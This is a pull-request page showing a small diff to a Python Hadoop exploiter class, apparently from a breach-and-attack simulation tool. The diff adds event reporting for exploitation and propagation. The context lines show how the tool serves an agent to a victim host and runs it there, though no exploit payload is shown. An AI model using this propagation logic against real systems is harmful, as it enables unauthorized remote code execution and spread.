sdf11233 #21

Merged
p15693087 merged 29 commits from jd003 into 2267-add-services-to-machine 2022-10-19 15:20:24 +08:00
1 changed files with 14 additions and 0 deletions
Showing only changes of commit fe864792f3 - Show all commits

View File

@ -40,11 +40,19 @@ class HadoopExploiter(WebRCE):
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
)
return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
)
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
@ -58,6 +66,12 @@ class HadoopExploiter(WebRCE):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
self.publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=True,
)
self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True)
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()